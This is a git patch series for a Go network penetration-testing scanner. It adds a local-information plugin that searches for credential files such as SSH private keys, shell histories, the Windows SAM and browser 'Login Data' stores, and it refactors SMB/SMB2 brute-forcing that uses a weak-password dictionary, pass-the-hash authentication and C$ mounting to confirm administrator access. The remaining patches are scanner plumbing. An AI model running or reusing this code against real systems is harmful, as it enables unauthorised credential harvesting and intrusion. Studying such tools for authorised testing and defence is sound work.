From 5ad5af884e6cff0725af7ea0231a0cdd04bbc820 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:18:18 +0800 Subject: [PATCH 01/80] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0localinfo?= =?UTF-8?q?=E6=A8=A1=E5=9D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/base.go | 1 + Plugins/localinfo.go | 211 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 212 insertions(+) create mode 100644 Plugins/localinfo.go diff --git a/Plugins/base.go b/Plugins/base.go index 36a206c..b33bc8c 100644 --- a/Plugins/base.go +++ b/Plugins/base.go @@ -28,6 +28,7 @@ var PluginList = map[string]interface{}{ "1000003": WebTitle, "1000004": SmbScan2, "1000005": WmiExec, + "1000006": LocalInfoScan, } func ReadBytes(conn net.Conn) (result []byte, err error) { diff --git a/Plugins/localinfo.go b/Plugins/localinfo.go new file mode 100644 index 0000000..c7ede11 --- /dev/null +++ b/Plugins/localinfo.go @@ -0,0 +1,211 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/common" + "os" + "path/filepath" + "runtime" + "strings" +) + +var ( + blacklist = []string{ + ".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin", + ".dat", ".manifest", "locale", "winsxs", "windows\\sys", + } + + whitelist = []string{ + "密码", "账号", "账户", "配置", "服务器", + "数据库", "备忘", "常用", "通讯录", + } + + // Linux系统关键配置文件 + linuxSystemPaths = []string{ + // Apache配置 + "/etc/apache/httpd.conf", + "/etc/httpd/conf/httpd.conf", + "/etc/httpd/httpd.conf", + "/usr/local/apache/conf/httpd.conf", + "/home/httpd/conf/httpd.conf", + "/usr/local/apache2/conf/httpd.conf", + "/usr/local/httpd/conf/httpd.conf", + "/etc/apache2/sites-available/000-default.conf", + "/etc/apache2/sites-enabled/*", + "/etc/apache2/sites-available/*", + "/etc/apache2/apache2.conf", + + // Nginx配置 + "/etc/nginx/nginx.conf", + "/etc/nginx/conf.d/nginx.conf", + + // 系统配置文件 + "/etc/hosts.deny", + "/etc/bashrc", + "/etc/issue", + "/etc/issue.net", + "/etc/ssh/ssh_config", + "/etc/termcap", + "/etc/xinetd.d/*", + "/etc/mtab", + "/etc/vsftpd/vsftpd.conf", + "/etc/xinetd.conf", + "/etc/protocols", + "/etc/logrotate.conf", + "/etc/ld.so.conf", + "/etc/resolv.conf", + "/etc/sysconfig/network", + "/etc/sendmail.cf", + "/etc/sendmail.cw", + + // proc信息 + "/proc/mounts", + "/proc/cpuinfo", + "/proc/meminfo", + "/proc/self/environ", + "/proc/1/cmdline", + "/proc/1/mountinfo", + "/proc/1/fd/*", + "/proc/1/exe", + "/proc/config.gz", + + // 用户配置文件 + "/root/.ssh/authorized_keys", + "/root/.ssh/id_rsa", + "/root/.ssh/id_rsa.keystore", + "/root/.ssh/id_rsa.pub", + "/root/.ssh/known_hosts", + "/root/.bash_history", + "/root/.mysql_history", + } + + // Windows系统关键配置文件 + windowsSystemPaths = []string{ + "C:\\boot.ini", + "C:\\windows\\systems32\\inetsrv\\MetaBase.xml", + "C:\\windows\\repair\\sam", + "C:\\windows\\system32\\config\\sam", + } +) + +func LocalInfoScan(info *common.HostInfo) (err error) { + home, err := os.UserHomeDir() + if err != nil { + errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) + common.LogError(errlog) + return err + } + + // 扫描固定位置 + scanFixedLocations(home) + + // 规则搜索 + searchSensitiveFiles() + + return nil +} + +func scanFixedLocations(home string) { + var paths []string + + switch runtime.GOOS { + case "windows": + // 添加Windows固定路径 + paths = append(paths, windowsSystemPaths...) + paths = append(paths, []string{ + filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), + filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"), + filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), + filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), + }...) + + case "linux": + // 添加Linux固定路径 + paths = append(paths, linuxSystemPaths...) + paths = append(paths, []string{ + filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"), + filepath.Join(home, ".mozilla", "firefox"), + }...) + } + + for _, path := range paths { + // 处理通配符路径 + if strings.Contains(path, "*") { + var _ = strings.ReplaceAll(path, "*", "") + if files, err := filepath.Glob(path); err == nil { + for _, file := range files { + checkAndLogFile(file) + } + } + continue + } + + checkAndLogFile(path) + } +} + +func checkAndLogFile(path string) { + if _, err := os.Stat(path); err == nil { + result := fmt.Sprintf("[+] Found sensitive file: %s", path) + common.LogSuccess(result) + } +} + +func searchSensitiveFiles() { + var searchPaths []string + + switch runtime.GOOS { + case "windows": + // Windows下常见的敏感目录 + home, _ := os.UserHomeDir() + searchPaths = []string{ + "C:\\Users\\Public\\Documents", + "C:\\Users\\Public\\Desktop", + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + "C:\\Program Files", + "C:\\Program Files (x86)", + } + case "linux": + // Linux下常见的敏感目录 + home, _ := os.UserHomeDir() + searchPaths = []string{ + "/home", + "/opt", + "/usr/local", + "/var/www", + "/var/log", + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + } + + // 在限定目录下搜索 + for _, searchPath := range searchPaths { + filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + + // 跳过黑名单目录和文件 + for _, black := range blacklist { + if strings.Contains(strings.ToLower(path), black) { + return filepath.SkipDir + } + } + + // 检查白名单关键词 + for _, white := range whitelist { + fileName := strings.ToLower(info.Name()) + if strings.Contains(fileName, white) { + result := fmt.Sprintf("[+] Found potential sensitive file: %s", path) + common.LogSuccess(result) + break + } + } + return nil + }) + } +} From 624ab9bab01f721272a8caa99a56384f9757c125 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:18:38 +0800 Subject: [PATCH 02/80] feat: .gitignore --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 387c605..c466663 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,3 @@ result.txt +main +.idea From 02dfcebcc537573c7eeb2c658fb6f1a3b5f3b1aa Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:18:58 +0800 Subject: [PATCH 03/80] =?UTF-8?q?refactor:=20Scanner=20Scan=E5=87=BD?= =?UTF-8?q?=E6=95=B0=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/scanner.go | 136 ++++++++++++++++++++++++++++++++------------- 1 file changed, 96 insertions(+), 40 deletions(-) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 99a11da..50da4a2 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -11,71 +11,103 @@ import ( ) func Scan(info common.HostInfo) { - fmt.Println("start infoscan") - Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) - if err != nil { - fmt.Println("len(hosts)==0", err) + fmt.Println("[*] 开始信息扫描...") + + // 本地信息收集模块 + if common.Scantype == "localinfo" { + ch := make(chan struct{}, common.Threads) + wg := sync.WaitGroup{} + AddScan("1000006", info, &ch, &wg) + wg.Wait() + common.LogWG.Wait() + close(common.Results) + fmt.Printf("[✓] 扫描完成 %v/%v\n", common.End, common.Num) return } + + // 解析目标主机IP + Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) + if err != nil { + fmt.Printf("[!] 解析主机错误: %v\n", err) + return + } + + // 初始化配置 lib.Inithttp() - var ch = make(chan struct{}, common.Threads) - var wg = sync.WaitGroup{} + ch := make(chan struct{}, common.Threads) + wg := sync.WaitGroup{} web := strconv.Itoa(common.PORTList["web"]) ms17010 := strconv.Itoa(common.PORTList["ms17010"]) + var AlivePorts, severports []string + if len(Hosts) > 0 || len(common.HostPort) > 0 { - if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" { + // ICMP存活性检测 + if (common.NoPing == false && len(Hosts) > 1) || common.Scantype == "icmp" { Hosts = CheckLive(Hosts, common.Ping) - fmt.Println("[*] Icmp alive hosts len is:", len(Hosts)) - } - if common.Scantype == "icmp" { - common.LogWG.Wait() - return - } - var AlivePorts []string - if common.Scantype == "webonly" || common.Scantype == "webpoc" { - AlivePorts = NoPortScan(Hosts, common.Ports) - } else if common.Scantype == "hostname" { - common.Ports = "139" - AlivePorts = NoPortScan(Hosts, common.Ports) - } else if len(Hosts) > 0 { - AlivePorts = PortScan(Hosts, common.Ports, common.Timeout) - fmt.Println("[*] alive ports len is:", len(AlivePorts)) - if common.Scantype == "portscan" { + fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts)) + if common.Scantype == "icmp" { common.LogWG.Wait() return } } + + // 端口扫描策略 + switch common.Scantype { + case "webonly", "webpoc": + AlivePorts = NoPortScan(Hosts, common.Ports) + case "hostname": + common.Ports = "139" + AlivePorts = NoPortScan(Hosts, common.Ports) + default: + if len(Hosts) > 0 { + AlivePorts = PortScan(Hosts, common.Ports, common.Timeout) + fmt.Printf("[+] 存活端口数量: %d\n", len(AlivePorts)) + if common.Scantype == "portscan" { + common.LogWG.Wait() + return + } + } + } + + // 处理自定义端口 if len(common.HostPort) > 0 { AlivePorts = append(AlivePorts, common.HostPort...) AlivePorts = common.RemoveDuplicate(AlivePorts) common.HostPort = nil - fmt.Println("[*] AlivePorts len is:", len(AlivePorts)) + fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts)) } - var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...} + + // 构建服务端口列表 for _, port := range common.PORTList { severports = append(severports, strconv.Itoa(port)) } - fmt.Println("start vulscan") + + // 开始漏洞扫描 + fmt.Println("[*] 开始漏洞扫描...") for _, targetIP := range AlivePorts { - info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] + hostParts := strings.Split(targetIP, ":") + if len(hostParts) != 2 { + fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP) + continue + } + info.Host, info.Ports = hostParts[0], hostParts[1] + if common.Scantype == "all" || common.Scantype == "main" { switch { case info.Ports == "135": - AddScan(info.Ports, info, &ch, &wg) //findnet + AddScan(info.Ports, info, &ch, &wg) if common.IsWmi { - AddScan("1000005", info, &ch, &wg) //wmiexec + AddScan("1000005", info, &ch, &wg) } case info.Ports == "445": - AddScan(ms17010, info, &ch, &wg) //ms17010 - //AddScan(info.Ports, info, ch, &wg) //smb - //AddScan("1000002", info, ch, &wg) //smbghost + AddScan(ms17010, info, &ch, &wg) case info.Ports == "9000": - AddScan(web, info, &ch, &wg) //http - AddScan(info.Ports, info, &ch, &wg) //fcgiscan + AddScan(web, info, &ch, &wg) + AddScan(info.Ports, info, &ch, &wg) case IsContain(severports, info.Ports): - AddScan(info.Ports, info, &ch, &wg) //plugins scan + AddScan(info.Ports, info, &ch, &wg) default: - AddScan(web, info, &ch, &wg) //webtitle + AddScan(web, info, &ch, &wg) } } else { scantype := strconv.Itoa(common.PORTList[common.Scantype]) @@ -83,45 +115,69 @@ func Scan(info common.HostInfo) { } } } + + // URL扫描 for _, url := range common.Urls { info.Url = url AddScan(web, info, &ch, &wg) } + + // 等待所有任务完成 wg.Wait() common.LogWG.Wait() close(common.Results) - fmt.Printf("已完成 %v/%v\n", common.End, common.Num) + fmt.Printf("[✓] 扫描已完成: %v/%v\n", common.End, common.Num) } +// Mutex用于保护共享资源的并发访问 var Mutex = &sync.Mutex{} +// AddScan 添加扫描任务到并发队列 func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { + // 获取信号量,控制并发数 *ch <- struct{}{} + // 添加等待组计数 wg.Add(1) + + // 启动goroutine执行扫描任务 go func() { + defer func() { + wg.Done() // 完成任务后减少等待组计数 + <-*ch // 释放信号量 + }() + + // 增加总任务数 Mutex.Lock() common.Num += 1 Mutex.Unlock() + + // 执行扫描 ScanFunc(&scantype, &info) + + // 增加已完成任务数 Mutex.Lock() common.End += 1 Mutex.Unlock() - wg.Done() - <-*ch }() } +// ScanFunc 通过反射调用对应的扫描插件 func ScanFunc(name *string, info *common.HostInfo) { + // 异常恢复处理 defer func() { if err := recover(); err != nil { - fmt.Printf("[-] %v:%v scan error: %v\n", info.Host, info.Ports, err) + fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) } }() + + // 通过反射获取插件函数 f := reflect.ValueOf(PluginList[*name]) + // 构造参数并调用插件函数 in := []reflect.Value{reflect.ValueOf(info)} f.Call(in) } +// IsContain 检查切片中是否包含指定元素 func IsContain(items []string, item string) bool { for _, eachItem := range items { if eachItem == item { From 77d59c1e6bd23112881a227b901b30ebc362efd8 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:19:27 +0800 Subject: [PATCH 04/80] =?UTF-8?q?refactor:=20ScanType=E9=83=A8=E5=88=86?= =?UTF-8?q?=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/Parse.go | 51 ++++++++++++++++----------------------- common/config.go | 62 +++++++++++++++++++++++++++++------------------- 2 files changed, 57 insertions(+), 56 deletions(-) diff --git a/common/Parse.go b/common/Parse.go index 115edda..e264869 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -236,53 +236,42 @@ func ParseInput(Info *HostInfo) { } func ParseScantype(Info *HostInfo) { - _, ok := PORTList[Scantype] - if !ok { + if _, validType := PORTList[Scantype]; !validType { showmode() + return } + if Scantype != "all" && Ports == DefaultPorts+","+Webport { switch Scantype { - case "wmiexec": - Ports = "135" - case "wmiinfo": - Ports = "135" - case "smbinfo": - Ports = "445" case "hostname": Ports = "135,137,139,445" - case "smb2": - Ports = "445" - case "web": + case "web", "webonly", "webpoc": Ports = Webport - case "webonly": - Ports = Webport - case "ms17010": - Ports = "445" - case "cve20200796": - Ports = "445" case "portscan": Ports = DefaultPorts + "," + Webport case "main": Ports = DefaultPorts default: - port, _ := PORTList[Scantype] - Ports = strconv.Itoa(port) + if port := PORTList[Scantype]; port > 0 { + Ports = strconv.Itoa(port) + } } - fmt.Println("-m ", Scantype, " start scan the port:", Ports) + + fmt.Printf("[*] Scan type: %s, target ports: %s\n", Scantype, Ports) } } -func CheckErr(text string, err error, flag bool) { - if err != nil { - fmt.Println("Parse", text, "error: ", err.Error()) - if flag { - if err != ParseIPErr { - fmt.Println(ParseIPErr) - } - os.Exit(0) - } - } -} +//func CheckErr(text string, err error, flag bool) { +// if err != nil { +// fmt.Println("Parse", text, "error: ", err.Error()) +// if flag { +// if err != ParseIPErr { +// fmt.Println(ParseIPErr) +// } +// os.Exit(0) +// } +// } +//} func showmode() { fmt.Println("The specified scan type does not exist") diff --git a/common/config.go b/common/config.go index e487c96..8b67a19 100644 --- a/common/config.go +++ b/common/config.go @@ -15,32 +15,44 @@ var Userdict = map[string][]string{ var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} var PORTList = map[string]int{ - "ftp": 21, - "ssh": 22, - "findnet": 135, - "netbios": 139, - "smb": 445, - "mssql": 1433, - "oracle": 1521, - "mysql": 3306, - "rdp": 3389, - "psql": 5432, - "redis": 6379, - "fcgi": 9000, - "mem": 11211, - "mgo": 27017, - "ms17010": 1000001, - "cve20200796": 1000002, - "web": 1000003, - "webonly": 1000003, - "webpoc": 1000003, - "smb2": 1000004, - "wmiexec": 1000005, - "all": 0, - "portscan": 0, - "icmp": 0, - "main": 0, + // 常规服务端口 + "ftp": 21, + "ssh": 22, + "findnet": 135, + "netbios": 139, + "smb": 445, + "mssql": 1433, + "oracle": 1521, + "mysql": 3306, + "rdp": 3389, + "psql": 5432, + "redis": 6379, + "fcgi": 9000, + "mem": 11211, + "mgo": 27017, + + // 特定端口的扫描类型 + "wmiexec": 135, + "wmiinfo": 135, + "smbinfo": 445, + "smb2": 445, + "ms17010": 445, + "cve20200796": 445, + + // Web相关 + "web": 0, // 使用Webport + "webonly": 0, // 使用Webport + "webpoc": 0, // 使用Webport + + // 特殊扫描类型 + "hostname": 0, // 使用135,137,139,445 + "all": 0, // 全部扫描 + "portscan": 0, // 使用DefaultPorts + Webport + "icmp": 0, // ICMP检测 + "main": 0, // 使用DefaultPorts + "localinfo": 0, // 本地信息收集 } + var PortGroup = map[string]string{ "ftp": "21", "ssh": "22", From 42908d331983875417dcda9978e8a1412aba5860 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:19:41 +0800 Subject: [PATCH 05/80] =?UTF-8?q?refactor:=20SMB=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/smb.go | 59 +++++++++++++++++++++++++++++++++++++------------- 1 file changed, 44 insertions(+), 15 deletions(-) diff --git a/Plugins/smb.go b/Plugins/smb.go index 36d6f0e..14dcc60 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -9,33 +9,52 @@ import ( "time" ) +// SmbScan 执行SMB服务的认证扫描 func SmbScan(info *common.HostInfo) (tmperr error) { + // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil } - starttime := time.Now().Unix() + + startTime := time.Now().Unix() + + // 遍历用户名和密码字典进行认证尝试 for _, user := range common.Userdict["smb"] { for _, pass := range common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) - flag, err := doWithTimeOut(info, user, pass) - if flag == true && err == nil { + + // 执行带超时的认证 + success, err := doWithTimeOut(info, user, pass) + + if success && err == nil { + // 认证成功,记录结果 var result string if common.Domain != "" { - result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass) + result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", + info.Host, info.Ports, common.Domain, user, pass) } else { - result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass) + result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass) } common.LogSuccess(result) return err } else { - errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err) - errlog = strings.Replace(errlog, "\n", "", -1) - common.LogError(errlog) + // 认证失败,记录错误 + errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, + strings.ReplaceAll(err.Error(), "\n", "")) + common.LogError(errorMsg) tmperr = err + + // 检查是否需要中断扫描 if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + + // 检查是否超时 + timeoutLimit := int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout + if time.Now().Unix()-startTime > timeoutLimit { return err } } @@ -44,38 +63,48 @@ func SmbScan(info *common.HostInfo) (tmperr error) { return tmperr } +// SmblConn 尝试建立SMB连接并进行认证 func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false - Host, Username, Password := info.Host, user, pass + + // 配置SMB连接选项 options := smb.Options{ - Host: Host, + Host: info.Host, Port: 445, - User: Username, - Password: Password, + User: user, + Password: pass, Domain: common.Domain, Workstation: "", } + // 尝试建立SMB会话 session, err := smb.NewSession(options, false) if err == nil { - session.Close() + defer session.Close() if session.IsAuthenticated { flag = true } } + + // 发送完成信号 signal <- struct{}{} return flag, err } +// doWithTimeOut 执行带超时的SMB连接认证 func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) + + // 在goroutine中执行SMB连接 go func() { flag, err = SmblConn(info, user, pass, signal) }() + + // 等待连接结果或超时 select { case <-signal: return flag, err case <-time.After(time.Duration(common.Timeout) * time.Second): - return false, errors.New("time out") + return false, errors.New("[!] SMB连接超时") } } From e15f8e8cc08441608f8683c8b8f8949dcc87688a Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:19:47 +0800 Subject: [PATCH 06/80] =?UTF-8?q?refactor:=20SMB2=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/smb2.go | 328 ++++++++++++++++++++++++------------------------ 1 file changed, 166 insertions(+), 162 deletions(-) diff --git a/Plugins/smb2.go b/Plugins/smb2.go index 57c52ff..ae2c2e8 100644 --- a/Plugins/smb2.go +++ b/Plugins/smb2.go @@ -11,208 +11,212 @@ import ( "github.com/hirochachacha/go-smb2" ) +// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 func SmbScan2(info *common.HostInfo) (tmperr error) { + // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil } + hasprint := false - starttime := time.Now().Unix() + startTime := time.Now().Unix() + + // 使用哈希认证模式 if len(common.HashBytes) > 0 { - for _, user := range common.Userdict["smb"] { - for _, hash := range common.HashBytes { - pass := "" - flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) - if flag2 { - hasprint = true - } - if flag == true { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - common.LogSuccess(result) - return err - } else { - var errlog string - if len(common.Hash) > 0 { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) - } else { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) - } - errlog = strings.Replace(errlog, "\n", " ", -1) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.HashBytes)) * common.Timeout) { - return err - } - } - if len(common.Hash) > 0 { - break - } - } - } - } else { - for _, user := range common.Userdict["smb"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - hash := []byte{} - flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) - if flag2 { - hasprint = true - } - if flag == true { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - common.LogSuccess(result) - return err - } else { - var errlog string - if len(common.Hash) > 0 { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) - } else { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) - } - errlog = strings.Replace(errlog, "\n", " ", -1) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - if len(common.Hash) > 0 { - break - } - } - } + return smbHashScan(info, hasprint, startTime) } - return tmperr + // 使用密码认证模式 + return smbPasswordScan(info, hasprint, startTime) } +// smbHashScan 使用哈希进行认证扫描 +func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error { + for _, user := range common.Userdict["smb"] { + for _, hash := range common.HashBytes { + success, err, printed := Smb2Con(info, user, "", hash, hasprint) + if printed { + hasprint = true + } + + if success { + logSuccessfulAuth(info, user, "", hash) + return err + } + + logFailedAuth(info, user, "", hash, err) + + if shouldStopScan(err, startTime, len(common.Userdict["smb"])*len(common.HashBytes)) { + return err + } + + if len(common.Hash) > 0 { + break + } + } + } + return nil +} + +// smbPasswordScan 使用密码进行认证扫描 +func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) error { + for _, user := range common.Userdict["smb"] { + for _, pass := range common.Passwords { + pass = strings.ReplaceAll(pass, "{user}", user) + success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint) + if printed { + hasprint = true + } + + if success { + logSuccessfulAuth(info, user, pass, []byte{}) + return err + } + + logFailedAuth(info, user, pass, []byte{}, err) + + if shouldStopScan(err, startTime, len(common.Userdict["smb"])*len(common.Passwords)) { + return err + } + + if len(common.Hash) > 0 { + break + } + } + } + return nil +} + +// logSuccessfulAuth 记录成功的认证 +func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { + var result string + if common.Domain != "" { + result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", + info.Host, info.Ports, common.Domain, user) + } else { + result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ", + info.Host, info.Ports, user) + } + + if len(hash) > 0 { + result += fmt.Sprintf("Hash:%v", common.Hash) + } else { + result += fmt.Sprintf("Pass:%v", pass) + } + common.LogSuccess(result) +} + +// logFailedAuth 记录失败的认证 +func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) { + var errlog string + if len(hash) > 0 { + errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", + info.Host, info.Ports, user, common.Hash, err) + } else { + errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, err) + } + errlog = strings.ReplaceAll(errlog, "\n", " ") + common.LogError(errlog) +} + +// shouldStopScan 检查是否应该停止扫描 +func shouldStopScan(err error, startTime int64, totalAttempts int) bool { + if common.CheckErrs(err) { + return true + } + + if time.Now().Unix()-startTime > (int64(totalAttempts) * common.Timeout) { + return true + } + + return false +} + +// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { - conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second) + // 建立TCP连接 + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), + time.Duration(common.Timeout)*time.Second) if err != nil { - return + return false, fmt.Errorf("连接失败: %v", err), false } defer conn.Close() + + // 配置NTLM认证 initiator := smb2.NTLMInitiator{ User: user, Domain: common.Domain, } + + // 设置认证方式(哈希或密码) if len(hash) > 0 { initiator.Hash = hash } else { initiator.Password = pass } + + // 创建SMB2会话 d := &smb2.Dialer{ Initiator: &initiator, } + session, err := d.Dial(conn) + if err != nil { + return false, fmt.Errorf("SMB2会话建立失败: %v", err), false + } + defer session.Logoff() - s, err := d.Dial(conn) + // 获取共享列表 + shares, err := session.ListSharenames() if err != nil { - return - } - defer s.Logoff() - names, err := s.ListSharenames() - if err != nil { - return + return false, fmt.Errorf("获取共享列表失败: %v", err), false } + + // 打印共享信息(如果未打印过) if !hasprint { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - result = fmt.Sprintf("%v shares: %v", result, names) - common.LogSuccess(result) + logShareInfo(info, user, pass, hash, shares) flag2 = true } - fs, err := s.Mount("C$") + + // 尝试访问C$共享以验证管理员权限 + fs, err := session.Mount("C$") if err != nil { - return + return false, fmt.Errorf("挂载C$失败: %v", err), flag2 } defer fs.Umount() + + // 尝试读取系统文件以验证权限 path := `Windows\win.ini` f, err := fs.OpenFile(path, os.O_RDONLY, 0666) if err != nil { - return + return false, fmt.Errorf("访问系统文件失败: %v", err), flag2 } defer f.Close() - flag = true - return - //bs, err := ioutil.ReadAll(f) - //if err != nil { - // return - //} - //fmt.Println(string(bs)) - //return + return true, nil, flag2 } -//if info.Path == ""{ -//} -//path = info.Path -//f, err := fs.OpenFile(path, os.O_RDONLY, 0666) -//if err != nil { -// return -//} -//flag = true -//_, err = f.Seek(0, io.SeekStart) -//if err != nil { -// return -//} -//bs, err := ioutil.ReadAll(f) -//if err != nil { -// return -//} -//fmt.Println(string(bs)) -//return -//f, err := fs.Create(`Users\Public\Videos\hello.txt`) -//if err != nil { -// return -//} -//flag = true -// -//_, err = f.Write([]byte("Hello world!")) -//if err != nil { -// return -//} -// 